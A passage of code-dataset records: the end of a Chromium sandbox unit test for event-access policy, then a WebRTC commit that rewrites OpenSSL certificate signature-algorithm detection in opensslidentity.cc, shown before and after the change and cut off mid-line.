valid.\n if (event_open.IsValid() && event_create.IsValid())\n return SBOX_TEST_SUCCEEDED;\n\n if ((event_open.IsValid() && !event_create.IsValid()) ||\n (!event_open.IsValid() && event_create.IsValid())) {\n return SBOX_TEST_FAILED;\n }\n } else {\n \/\/ Only event_create has to be valid.\n if (event_create.Get())\n return SBOX_TEST_SUCCEEDED;\n }\n\n if (ERROR_ACCESS_DENIED == error_create ||\n ERROR_BAD_PATHNAME == error_create)\n return SBOX_TEST_DENIED;\n\n return SBOX_TEST_FAILED;\n}\n\n\/\/ Tests the creation of events using all the possible combinations.\nTEST(SyncPolicyTest, TestEvent) {\n TestRunner runner;\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_ANY,\n L\"test1\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_ANY,\n L\"test2\"));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f t\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t t\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f test2\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f t test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t t test2\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f f test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t f test4\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f t test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t t test4\"));\n}\n\n\/\/ Tests opening events with read only access.\nTEST(SyncPolicyTest, TestEventReadOnly) {\n TestRunner runner;\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test1\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test2\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test5\"));\n EXPECT_TRUE(runner.AddRule(TargetPolicy::SUBSYS_SYNC,\n TargetPolicy::EVENTS_ALLOW_READONLY,\n L\"test6\"));\n\n base::win::ScopedHandle handle1(::CreateEvent(NULL, FALSE, FALSE, L\"test1\"));\n base::win::ScopedHandle handle2(::CreateEvent(NULL, FALSE, FALSE, L\"test2\"));\n base::win::ScopedHandle handle3(::CreateEvent(NULL, FALSE, FALSE, L\"test3\"));\n base::win::ScopedHandle handle4(::CreateEvent(NULL, FALSE, FALSE, L\"test4\"));\n\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen f f\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_CreateOpen t f\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open f test1\"));\n EXPECT_EQ(SBOX_TEST_SUCCEEDED, runner.RunTest(L\"Event_Open s test2\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open f test3\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_Open s test4\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f f test5\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t f test6\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen f t test5\"));\n EXPECT_EQ(SBOX_TEST_DENIED, runner.RunTest(L\"Event_CreateOpen t t test6\"));\n}\n\n} \/\/ namespace sandbox\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2004 The WebRTC Project Authors. All rights reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#if HAVE_OPENSSL_SSL_H\n\n#include \"webrtc\/base\/opensslidentity.h\"\n\n\/\/ Must be included first before openssl headers.\n#include \"webrtc\/base\/win32.h\" \/\/ NOLINT\n\n#include <openssl\/bio.h>\n#include <openssl\/err.h>\n#include <openssl\/pem.h>\n#include <openssl\/bn.h>\n#include <openssl\/rsa.h>\n#include <openssl\/crypto.h>\n\n#include \"webrtc\/base\/checks.h\"\n#include \"webrtc\/base\/helpers.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/base\/openssl.h\"\n#include \"webrtc\/base\/openssldigest.h\"\n\nnamespace rtc {\n\n\/\/ We could have exposed a myriad of parameters for the crypto stuff,\n\/\/ but keeping it simple seems best.\n\n\/\/ Strength of generated keys. Those are RSA.\nstatic const int KEY_LENGTH = 1024;\n\n\/\/ Random bits for certificate serial number\nstatic const int SERIAL_RAND_BITS = 64;\n\n\/\/ Certificate validity lifetime\nstatic const int CERTIFICATE_LIFETIME = 60*60*24*30; \/\/ 30 days, arbitrarily\n\/\/ Certificate validity window.\n\/\/ This is to compensate for slightly incorrect system clocks.\nstatic const int CERTIFICATE_WINDOW = -60*60*24;\n\n\/\/ Generate a key pair. Caller is responsible for freeing the returned object.\nstatic EVP_PKEY* MakeKey() {\n LOG(LS_INFO) << \"Making key pair\";\n EVP_PKEY* pkey = EVP_PKEY_new();\n \/\/ RSA_generate_key is deprecated. Use _ex version.\n BIGNUM* exponent = BN_new();\n RSA* rsa = RSA_new();\n if (!pkey || !exponent || !rsa ||\n !BN_set_word(exponent, 0x10001) || \/\/ 65537 RSA exponent\n !RSA_generate_key_ex(rsa, KEY_LENGTH, exponent, NULL) ||\n !EVP_PKEY_assign_RSA(pkey, rsa)) {\n EVP_PKEY_free(pkey);\n BN_free(exponent);\n RSA_free(rsa);\n return NULL;\n }\n \/\/ ownership of rsa struct was assigned, don't free it.\n BN_free(exponent);\n LOG(LS_INFO) << \"Returning key pair\";\n return pkey;\n}\n\n\/\/ Generate a self-signed certificate, with the public key from the\n\/\/ given key pair. Caller is responsible for freeing the returned object.\nstatic X509* MakeCertificate(EVP_PKEY* pkey, const SSLIdentityParams& params) {\n LOG(LS_INFO) << \"Making certificate for \" << params.common_name;\n X509* x509 = NULL;\n BIGNUM* serial_number = NULL;\n X509_NAME* name = NULL;\n\n if ((x509=X509_new()) == NULL)\n goto error;\n\n if (!X509_set_pubkey(x509, pkey))\n goto error;\n\n \/\/ serial number\n \/\/ temporary reference to serial number inside x509 struct\n ASN1_INTEGER* asn1_serial_number;\n if ((serial_number = BN_new()) == NULL ||\n !BN_pseudo_rand(serial_number, SERIAL_RAND_BITS, 0, 0) ||\n (asn1_serial_number = X509_get_serialNumber(x509)) == NULL ||\n !BN_to_ASN1_INTEGER(serial_number, asn1_serial_number))\n goto error;\n\n if (!X509_set_version(x509, 0L)) \/\/ version 1\n goto error;\n\n \/\/ There are a lot of possible components for the name entries. In\n \/\/ our P2P SSL mode however, the certificates are pre-exchanged\n \/\/ (through the secure XMPP channel), and so the certificate\n \/\/ identification is arbitrary. It can't be empty, so we set some\n \/\/ arbitrary common_name. Note that this certificate goes out in\n \/\/ clear during SSL negotiation, so there may be a privacy issue in\n \/\/ putting anything recognizable here.\n if ((name = X509_NAME_new()) == NULL ||\n !X509_NAME_add_entry_by_NID(\n name, NID_commonName, MBSTRING_UTF8,\n (unsigned char*)params.common_name.c_str(), -1, -1, 0) ||\n !X509_set_subject_name(x509, name) ||\n !X509_set_issuer_name(x509, name))\n goto error;\n\n if (!X509_gmtime_adj(X509_get_notBefore(x509), params.not_before) ||\n !X509_gmtime_adj(X509_get_notAfter(x509), params.not_after))\n goto error;\n\n if (!X509_sign(x509, pkey, EVP_sha1()))\n goto error;\n\n BN_free(serial_number);\n X509_NAME_free(name);\n LOG(LS_INFO) << \"Returning certificate\";\n return x509;\n\n error:\n BN_free(serial_number);\n X509_NAME_free(name);\n X509_free(x509);\n return NULL;\n}\n\n\/\/ This dumps the SSL error stack to the log.\nstatic void LogSSLErrors(const std::string& prefix) {\n char error_buf[200];\n unsigned long err;\n\n while ((err = ERR_get_error()) != 0) {\n ERR_error_string_n(err, error_buf, sizeof(error_buf));\n LOG(LS_ERROR) << prefix << \": \" << error_buf << \"\\n\";\n }\n}\n\nOpenSSLKeyPair* OpenSSLKeyPair::Generate() {\n EVP_PKEY* pkey = MakeKey();\n if (!pkey) {\n LogSSLErrors(\"Generating key pair\");\n return NULL;\n }\n return new OpenSSLKeyPair(pkey);\n}\n\nOpenSSLKeyPair::~OpenSSLKeyPair() {\n EVP_PKEY_free(pkey_);\n}\n\nOpenSSLKeyPair* OpenSSLKeyPair::GetReference() {\n AddReference();\n return new OpenSSLKeyPair(pkey_);\n}\n\nvoid OpenSSLKeyPair::AddReference() {\n CRYPTO_add(&pkey_->references, 1, CRYPTO_LOCK_EVP_PKEY);\n}\n\n#ifdef _DEBUG\n\/\/ Print a certificate to the log, for debugging.\nstatic void PrintCert(X509* x509) {\n BIO* temp_memory_bio = BIO_new(BIO_s_mem());\n if (!temp_memory_bio) {\n LOG_F(LS_ERROR) << \"Failed to allocate temporary memory bio\";\n return;\n }\n X509_print_ex(temp_memory_bio, x509, XN_FLAG_SEP_CPLUS_SPC, 0);\n BIO_write(temp_memory_bio, \"\\0\", 1);\n char* buffer;\n BIO_get_mem_data(temp_memory_bio, &buffer);\n LOG(LS_VERBOSE) << buffer;\n BIO_free(temp_memory_bio);\n}\n#endif\n\nOpenSSLCertificate* OpenSSLCertificate::Generate(\n OpenSSLKeyPair* key_pair, const SSLIdentityParams& params) {\n SSLIdentityParams actual_params(params);\n if (actual_params.common_name.empty()) {\n \/\/ Use a random string, arbitrarily 8chars long.\n actual_params.common_name = CreateRandomString(8);\n }\n X509* x509 = MakeCertificate(key_pair->pkey(), actual_params);\n if (!x509) {\n LogSSLErrors(\"Generating certificate\");\n return NULL;\n }\n#ifdef _DEBUG\n PrintCert(x509);\n#endif\n OpenSSLCertificate* ret = new OpenSSLCertificate(x509);\n X509_free(x509);\n return ret;\n}\n\nOpenSSLCertificate* OpenSSLCertificate::FromPEMString(\n const std::string& pem_string) {\n BIO* bio = BIO_new_mem_buf(const_cast<char*>(pem_string.c_str()), -1);\n if (!bio)\n return NULL;\n BIO_set_mem_eof_return(bio, 0);\n X509 *x509 = PEM_read_bio_X509(bio, NULL, NULL,\n const_cast<char*>(\"\\0\"));\n BIO_free(bio); \/\/ Frees the BIO, but not the pointed-to string.\n\n if (!x509)\n return NULL;\n\n OpenSSLCertificate* ret = new OpenSSLCertificate(x509);\n X509_free(x509);\n return ret;\n}\n\n\/\/ NOTE: This implementation only functions correctly after InitializeSSL\n\/\/ and before CleanupSSL.\nbool OpenSSLCertificate::GetSignatureDigestAlgorithm(\n std::string* algorithm) const {\n return OpenSSLDigest::GetDigestName(\n EVP_get_digestbyobj(x509_->sig_alg->algorithm), algorithm);\n}\n\nbool OpenSSLCertificate::GetChain(SSLCertChain** chain) const {\n \/\/ Chains are not yet supported when using OpenSSL.\n \/\/ OpenSSLStreamAdapter::SSLVerifyCallback currently requires the remote\n \/\/ certificate to be self-signed.\n return false;\n}\n\nbool OpenSSLCertificate::ComputeDigest(const std::string& algorithm,\n unsigned char* digest,\n size_t size,\n size_t* length) const {\n return ComputeDigest(x509_, algorithm, digest, size, length);\n}\n\nbool OpenSSLCertificate::ComputeDigest(const X509* x509,\n const std::string& algorithm,\n unsigned char* digest,\n size_t size,\n size_t* length) {\n const EVP_MD *md;\n unsigned int n;\n\n if (!OpenSSLDigest::GetDigestEVP(algorithm, &md))\n return false;\n\n if (size < static_cast<size_t>(EVP_MD_size(md)))\n return false;\n\n X509_digest(x509, md, digest, &n);\n\n *length = n;\n\n return true;\n}\n\nOpenSSLCertificate::~OpenSSLCertificate() {\n X509_free(x509_);\n}\n\nOpenSSLCertificate* OpenSSLCertificate::GetReference() const {\n return new OpenSSLCertificate(x509_);\n}\n\nstd::string OpenSSLCertificate::ToPEMString() const {\n BIO* bio = BIO_new(BIO_s_mem());\n if (!bio) {\n FATAL() << \"unreachable code\";\n }\n if (!PEM_write_bio_X509(bio, x509_)) {\n BIO_free(bio);\n FATAL() << \"unreachable code\";\n }\n BIO_write(bio, \"\\0\", 1);\n char* buffer;\n BIO_get_mem_data(bio, &buffer);\n std::string ret(buffer);\n BIO_free(bio);\n return ret;\n}\n\nvoid OpenSSLCertificate::ToDER(Buffer* der_buffer) const {\n \/\/ In case of failure, make sure to leave the buffer empty.\n der_buffer->SetSize(0);\n\n \/\/ Calculates the DER representation of the certificate, from scratch.\n BIO* bio = BIO_new(BIO_s_mem());\n if (!bio) {\n FATAL() << \"unreachable code\";\n }\n if (!i2d_X509_bio(bio, x509_)) {\n BIO_free(bio);\n FATAL() << \"unreachable code\";\n }\n char* data;\n size_t length = BIO_get_mem_data(bio, &data);\n der_buffer->SetData(data, length);\n BIO_free(bio);\n}\n\nvoid OpenSSLCertificate::AddReference() const {\n ASSERT(x509_ != NULL);\n CRYPTO_add(&x509_->references, 1, CRYPTO_LOCK_X509);\n}\n\nOpenSSLIdentity::OpenSSLIdentity(OpenSSLKeyPair* key_pair,\n OpenSSLCertificate* certificate)\n : key_pair_(key_pair), certificate_(certificate) {\n ASSERT(key_pair != NULL);\n ASSERT(certificate != NULL);\n}\n\nOpenSSLIdentity::~OpenSSLIdentity() = default;\n\nOpenSSLIdentity* OpenSSLIdentity::GenerateInternal(\n const SSLIdentityParams& params) {\n OpenSSLKeyPair *key_pair = OpenSSLKeyPair::Generate();\n if (key_pair) {\n OpenSSLCertificate *certificate = OpenSSLCertificate::Generate(\n key_pair, params);\n if (certificate)\n return new OpenSSLIdentity(key_pair, certificate);\n delete key_pair;\n }\n LOG(LS_INFO) << \"Identity generation failed\";\n return NULL;\n}\n\nOpenSSLIdentity* OpenSSLIdentity::Generate(const std::string& common_name) {\n SSLIdentityParams params;\n params.common_name = common_name;\n params.not_before = CERTIFICATE_WINDOW;\n params.not_after = CERTIFICATE_LIFETIME;\n return GenerateInternal(params);\n}\n\nOpenSSLIdentity* OpenSSLIdentity::GenerateForTest(\n const SSLIdentityParams& params) {\n return GenerateInternal(params);\n}\n\nSSLIdentity* OpenSSLIdentity::FromPEMStrings(\n const std::string& private_key,\n const std::string& certificate) {\n scoped_ptr<OpenSSLCertificate> cert(\n OpenSSLCertificate::FromPEMString(certificate));\n if (!cert) {\n LOG(LS_ERROR) << \"Failed to create OpenSSLCertificate from PEM string.\";\n return NULL;\n }\n\n BIO* bio = BIO_new_mem_buf(const_cast<char*>(private_key.c_str()), -1);\n if (!bio) {\n LOG(LS_ERROR) << \"Failed to create a new BIO buffer.\";\n return NULL;\n }\n BIO_set_mem_eof_return(bio, 0);\n EVP_PKEY *pkey = PEM_read_bio_PrivateKey(bio, NULL, NULL,\n const_cast<char*>(\"\\0\"));\n BIO_free(bio); \/\/ Frees the BIO, but not the pointed-to string.\n\n if (!pkey) {\n LOG(LS_ERROR) << \"Failed to create the private key from PEM string.\";\n return NULL;\n }\n\n return new OpenSSLIdentity(new OpenSSLKeyPair(pkey),\n cert.release());\n}\n\nconst OpenSSLCertificate& OpenSSLIdentity::certificate() const {\n return *certificate_;\n}\n\nOpenSSLIdentity* OpenSSLIdentity::GetReference() const {\n return new OpenSSLIdentity(key_pair_->GetReference(),\n certificate_->GetReference());\n}\n\nbool OpenSSLIdentity::ConfigureIdentity(SSL_CTX* ctx) {\n \/\/ 1 is the documented success return code.\n if (SSL_CTX_use_certificate(ctx, certificate_->x509()) != 1 ||\n SSL_CTX_use_PrivateKey(ctx, key_pair_->pkey()) != 1) {\n LogSSLErrors(\"Configuring key and certificate\");\n return false;\n }\n return true;\n}\n\n} \/\/ namespace rtc\n\n#endif \/\/ HAVE_OPENSSL_SSL_H\n<commit_msg>Fix GetSignatureDigestAlgorithm for openssl to prepare for EC key switch.<commit_after>\/*\n * Copyright 2004 The WebRTC Project Authors. All rights reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#if HAVE_OPENSSL_SSL_H\n\n#include \"webrtc\/base\/opensslidentity.h\"\n\n\/\/ Must be included first before openssl headers.\n#include \"webrtc\/base\/win32.h\" \/\/ NOLINT\n\n#include <openssl\/bio.h>\n#include <openssl\/err.h>\n#include <openssl\/pem.h>\n#include <openssl\/bn.h>\n#include <openssl\/rsa.h>\n#include <openssl\/crypto.h>\n\n#include \"webrtc\/base\/checks.h\"\n#include \"webrtc\/base\/helpers.h\"\n#include \"webrtc\/base\/logging.h\"\n#include \"webrtc\/base\/openssl.h\"\n#include \"webrtc\/base\/openssldigest.h\"\n\nnamespace rtc {\n\n\/\/ We could have exposed a myriad of parameters for the crypto stuff,\n\/\/ but keeping it simple seems best.\n\n\/\/ Strength of generated keys. Those are RSA.\nstatic const int KEY_LENGTH = 1024;\n\n\/\/ Random bits for certificate serial number\nstatic const int SERIAL_RAND_BITS = 64;\n\n\/\/ Certificate validity lifetime\nstatic const int CERTIFICATE_LIFETIME = 60*60*24*30; \/\/ 30 days, arbitrarily\n\/\/ Certificate validity window.\n\/\/ This is to compensate for slightly incorrect system clocks.\nstatic const int CERTIFICATE_WINDOW = -60*60*24;\n\n\/\/ Generate a key pair. Caller is responsible for freeing the returned object.\nstatic EVP_PKEY* MakeKey() {\n LOG(LS_INFO) << \"Making key pair\";\n EVP_PKEY* pkey = EVP_PKEY_new();\n \/\/ RSA_generate_key is deprecated. Use _ex version.\n BIGNUM* exponent = BN_new();\n RSA* rsa = RSA_new();\n if (!pkey || !exponent || !rsa ||\n !BN_set_word(exponent, 0x10001) || \/\/ 65537 RSA exponent\n !RSA_generate_key_ex(rsa, KEY_LENGTH, exponent, NULL) ||\n !EVP_PKEY_assign_RSA(pkey, rsa)) {\n EVP_PKEY_free(pkey);\n BN_free(exponent);\n RSA_free(rsa);\n return NULL;\n }\n \/\/ ownership of rsa struct was assigned, don't free it.\n BN_free(exponent);\n LOG(LS_INFO) << \"Returning key pair\";\n return pkey;\n}\n\n\/\/ Generate a self-signed certificate, with the public key from the\n\/\/ given key pair. Caller is responsible for freeing the returned object.\nstatic X509* MakeCertificate(EVP_PKEY* pkey, const SSLIdentityParams& params) {\n LOG(LS_INFO) << \"Making certificate for \" << params.common_name;\n X509* x509 = NULL;\n BIGNUM* serial_number = NULL;\n X509_NAME* name = NULL;\n\n if ((x509=X509_new()) == NULL)\n goto error;\n\n if (!X509_set_pubkey(x509, pkey))\n goto error;\n\n \/\/ serial number\n \/\/ temporary reference to serial number inside x509 struct\n ASN1_INTEGER* asn1_serial_number;\n if ((serial_number = BN_new()) == NULL ||\n !BN_pseudo_rand(serial_number, SERIAL_RAND_BITS, 0, 0) ||\n (asn1_serial_number = X509_get_serialNumber(x509)) == NULL ||\n !BN_to_ASN1_INTEGER(serial_number, asn1_serial_number))\n goto error;\n\n if (!X509_set_version(x509, 0L)) \/\/ version 1\n goto error;\n\n \/\/ There are a lot of possible components for the name entries. In\n \/\/ our P2P SSL mode however, the certificates are pre-exchanged\n \/\/ (through the secure XMPP channel), and so the certificate\n \/\/ identification is arbitrary. It can't be empty, so we set some\n \/\/ arbitrary common_name. Note that this certificate goes out in\n \/\/ clear during SSL negotiation, so there may be a privacy issue in\n \/\/ putting anything recognizable here.\n if ((name = X509_NAME_new()) == NULL ||\n !X509_NAME_add_entry_by_NID(\n name, NID_commonName, MBSTRING_UTF8,\n (unsigned char*)params.common_name.c_str(), -1, -1, 0) ||\n !X509_set_subject_name(x509, name) ||\n !X509_set_issuer_name(x509, name))\n goto error;\n\n if (!X509_gmtime_adj(X509_get_notBefore(x509), params.not_before) ||\n !X509_gmtime_adj(X509_get_notAfter(x509), params.not_after))\n goto error;\n\n if (!X509_sign(x509, pkey, EVP_sha1()))\n goto error;\n\n BN_free(serial_number);\n X509_NAME_free(name);\n LOG(LS_INFO) << \"Returning certificate\";\n return x509;\n\n error:\n BN_free(serial_number);\n X509_NAME_free(name);\n X509_free(x509);\n return NULL;\n}\n\n\/\/ This dumps the SSL error stack to the log.\nstatic void LogSSLErrors(const std::string& prefix) {\n char error_buf[200];\n unsigned long err;\n\n while ((err = ERR_get_error()) != 0) {\n ERR_error_string_n(err, error_buf, sizeof(error_buf));\n LOG(LS_ERROR) << prefix << \": \" << error_buf << \"\\n\";\n }\n}\n\nOpenSSLKeyPair* OpenSSLKeyPair::Generate() {\n EVP_PKEY* pkey = MakeKey();\n if (!pkey) {\n LogSSLErrors(\"Generating key pair\");\n return NULL;\n }\n return new OpenSSLKeyPair(pkey);\n}\n\nOpenSSLKeyPair::~OpenSSLKeyPair() {\n EVP_PKEY_free(pkey_);\n}\n\nOpenSSLKeyPair* OpenSSLKeyPair::GetReference() {\n AddReference();\n return new OpenSSLKeyPair(pkey_);\n}\n\nvoid OpenSSLKeyPair::AddReference() {\n CRYPTO_add(&pkey_->references, 1, CRYPTO_LOCK_EVP_PKEY);\n}\n\n#ifdef _DEBUG\n\/\/ Print a certificate to the log, for debugging.\nstatic void PrintCert(X509* x509) {\n BIO* temp_memory_bio = BIO_new(BIO_s_mem());\n if (!temp_memory_bio) {\n LOG_F(LS_ERROR) << \"Failed to allocate temporary memory bio\";\n return;\n }\n X509_print_ex(temp_memory_bio, x509, XN_FLAG_SEP_CPLUS_SPC, 0);\n BIO_write(temp_memory_bio, \"\\0\", 1);\n char* buffer;\n BIO_get_mem_data(temp_memory_bio, &buffer);\n LOG(LS_VERBOSE) << buffer;\n BIO_free(temp_memory_bio);\n}\n#endif\n\nOpenSSLCertificate* OpenSSLCertificate::Generate(\n OpenSSLKeyPair* key_pair, const SSLIdentityParams& params) {\n SSLIdentityParams actual_params(params);\n if (actual_params.common_name.empty()) {\n \/\/ Use a random string, arbitrarily 8chars long.\n actual_params.common_name = CreateRandomString(8);\n }\n X509* x509 = MakeCertificate(key_pair->pkey(), actual_params);\n if (!x509) {\n LogSSLErrors(\"Generating certificate\");\n return NULL;\n }\n#ifdef _DEBUG\n PrintCert(x509);\n#endif\n OpenSSLCertificate* ret = new OpenSSLCertificate(x509);\n X509_free(x509);\n return ret;\n}\n\nOpenSSLCertificate* OpenSSLCertificate::FromPEMString(\n const std::string& pem_string) {\n BIO* bio = BIO_new_mem_buf(const_cast<char*>(pem_string.c_str()), -1);\n if (!bio)\n return NULL;\n BIO_set_mem_eof_return(bio, 0);\n X509 *x509 = PEM_read_bio_X509(bio, NULL, NULL,\n const_cast<char*>(\"\\0\"));\n BIO_free(bio); \/\/ Frees the BIO, but not the pointed-to string.\n\n if (!x509)\n return NULL;\n\n OpenSSLCertificate* ret = new OpenSSLCertificate(x509);\n X509_free(x509);\n return ret;\n}\n\n\/\/ NOTE: This implementation only functions correctly after InitializeSSL\n\/\/ and before CleanupSSL.\nbool OpenSSLCertificate::GetSignatureDigestAlgorithm(\n std::string* algorithm) const {\n int nid = OBJ_obj2nid(x509_->sig_alg->algorithm);\n switch (nid) {\n case NID_md5WithRSA:\n case NID_md5WithRSAEncryption:\n *algorithm = DIGEST_MD5;\n break;\n case NID_ecdsa_with_SHA1:\n case NID_dsaWithSHA1:\n case NID_dsaWithSHA1_2:\n case NID_sha1WithRSA:\n case NID_sha1WithRSAEncryption:\n *algorithm = DIGEST_SHA_1;\n break;\n case NID_ecdsa_with_SHA224:\n case NID_sha224WithRSAEncryption:\n case NID_dsa_with_SHA224:\n *algorithm = DIGEST_SHA_224;\n break;\n case NID_ecdsa_with_SHA256:\n case NID_sha256WithRSAEncryption:\n case NID_dsa_with_SHA256:\n *algorithm = DIGEST_SHA_256;\n break;\n case NID_ecdsa_with_SHA384:\n case NID_sha384WithRSAEncryption:\n *algorithm = DIGEST_SHA_384;\n break;\n case NID_ecdsa_with_SHA512:\n case NID_sha512WithRSAEncryption:\n *algorithm = DIGEST_SHA_512;\n break;\n default:\n \/\/ Unknown algorithm. There are several unhandled options that are less\n \/\/ common and more complex.\n LOG(LS_ERROR) << \"Unknown signature algorithm NID: \" << nid;\n algorithm->clear();\n return false;\n }\n return true;\n}\n\nbool OpenSSLCertificate::GetChain(SSLCertChain** chain) const {\n \/\/ Chains are not yet supported when using OpenSSL.\n \/\/ OpenSSLStreamAdapter::SSLVerifyCallback currently requires the remote\n \/\/ certificate to be self-signed.\n return false;\n}\n\nbool OpenSSLCertificate::ComputeDigest(const std::string& algorithm,\n unsigned char* digest,\n size_t size,\n size_t* length) const {\n return ComputeDigest(x509_, algorithm, digest, size, length);\n}\n\nbool OpenSSLCertificate::ComputeDigest(const X509* x509,\n const std::string& algorithm,\n unsigned char* digest,\n size_t size,\n size_t* length) {\n const EVP_MD *md;\n unsigned int n;\n\n if (!OpenSSLDigest::GetDigestEVP(algorithm, &md))\n return false;\n\n if (size < static_cast<size_t>(EVP_MD_size(md)))\n return false;\n\n X509_digest(x509, md, digest, &n);\n\n *length = n;\n\n return true;\n}\n\nOpenSSLCertificate::~OpenSSLCertificate() {\n X509_free(x509_);\n}\n\nOpenSSLCertificate* OpenSSLCertificate::GetReference() const {\n return new OpenSSLCertificate(x509_);\n}\n\nstd::string OpenSSLCertificate::ToPEMString() const {\n BIO* bio = BIO_new(BIO_s_mem());\n if (!bio) {\n FATAL() << \"unreachable code\";\n }\n if (!PEM_write_bio_X509(bio, x509_)) {\n BIO_free(bio);\n FATAL() << \"unreachable code\";\n }\n BIO_write(bio, \"\\0\", 1);\n char* buffer;\n BIO_get_mem_data(bio, &buffer);\n std::string ret(buffer);\n BIO_free(bio);\n return ret;\n}\n\nvoid OpenSSLCertificate::ToDER(Buffer* der_buffer) const {\n \/\/ In case of failure, make sure to leave the buffer empty.\n der_buffer->SetSize(0);\n\n \/\/ Calculates the DER representation of the certificate, from scratch.\n BIO* bio = BIO_new(BIO_s_mem());\n if (!bio) {\n FATAL() << \"unreachable code\";\n }\n if (!i2d_X509_bio(bio, x509_)) {\n BIO_free(bio);\n FATAL() << \"unreachable code\";\n }\n char* data;\n size_t length = BIO_get_mem_data(bio, &data);\n der_buffer->SetData(data, length);\n BIO_free(bio);\n}\n\nvoid OpenSSLCertificate::AddReference() const {\n ASSERT(x509_ != NULL);\n CRYPTO_add(&x509_->references, 1, CRYPTO_LOCK_X509);\n}\n\nOpenSSLIdentity::OpenSSLIdentity(OpenSSLKeyPair* key_pair,\n OpenSSLCertificate* certificate)\n : key_pair_(key_pair), certificate_(certificate) {\n ASSERT(key_pair != NULL);\n ASSERT(certificate != NULL);\n}\n\nOpenSSLIdentity::~OpenSSLIdentity() = default;\n\nOpenSSLIdentity* OpenSSLIdentity::GenerateInternal(\n const SSLIdentityParams& params) {\n OpenSSLKeyPair *key_pair = OpenSSLKeyPair::Generate();\n if (key_pair) {\n OpenSSLCertificate *certificate = OpenSSLCertificate::Generate(\n key_pair, params);\n if (certificate)\n return new OpenSSLIdentity(key_pair, certificate);\n delete key_pair;\n }\n LOG(LS_INFO) << \"Identity generation failed\";\n return NULL;\n}\n\nOpenSSLIdentity* OpenSSLIdentity::Generate(const std::string& common_name) {\n SSLIdentityParams params;\n params.common_name = common_name;\n params.not_before = CERTIFICATE_WINDOW;\n params.not_after = CERTIFICATE_LIFETIME;\n return GenerateInternal(params);\n}\n\nOpenSSLIdentity* OpenSSLIdentity::GenerateForTest(\n const SSLIdentityParams& params) {\n return GenerateInternal(params);\n}\n\nSSLIdentity* OpenSSLIdentity::FromPEMStrings(\n const std::string& private_key,\n const std::string& certificate) {\n scoped_ptr<OpenSSLCertificate> cert(\n OpenSSLCertificate::FromPEMString(certificate));\n if (!cert) {\n LOG(LS_ERROR) << \"Failed to create OpenSSLCertificate from PEM string.\";\n return NULL;\n }\n\n BIO* bio = BIO_new_mem_buf(const_cast<char*>(private_key.c_str()), -1);\n if (!bio) {\n LOG(LS_ERROR) << \"Failed to create a new BIO buffer.\";\n return NULL;\n }\n BIO_set_mem_eof_return(bio, 0);\n EVP_PKEY *pkey = PEM_read_bio_PrivateKey(bio, NULL, NULL,\n const_cast<char*>(\"\\0\"));\n BIO_free(bio); \/\/ Frees the BIO, but not the pointed-to string.\n\n if (!pkey) {\n LOG(LS_ERROR) << \"Failed to create the private key from PEM string.\";\n return NULL;\n }\n\n return new OpenSSLIdentity(new OpenSSLKeyPair(pkey),\n cert.release());\n}\n\nconst OpenSSLCertificate& OpenSSLIdentity::certificate() const {\n return *certificate_;\n}\n\nOpenSSLIdentity* OpenSSLIdentity::GetReference() const {\n return new OpenSSLIdentity(key_pair_->GetReference(),\n certificate_->GetReference());\n}\n\nbool OpenSSLIdentity::ConfigureIdentity(SSL_CTX* ctx) {\n \/\/ 1 is the documented success return code.\n if (SSL_CTX_use_certificate(ctx, certificate_->x509()) != 1 ||\n SSL_CTX_use_PrivateKey(ctx, 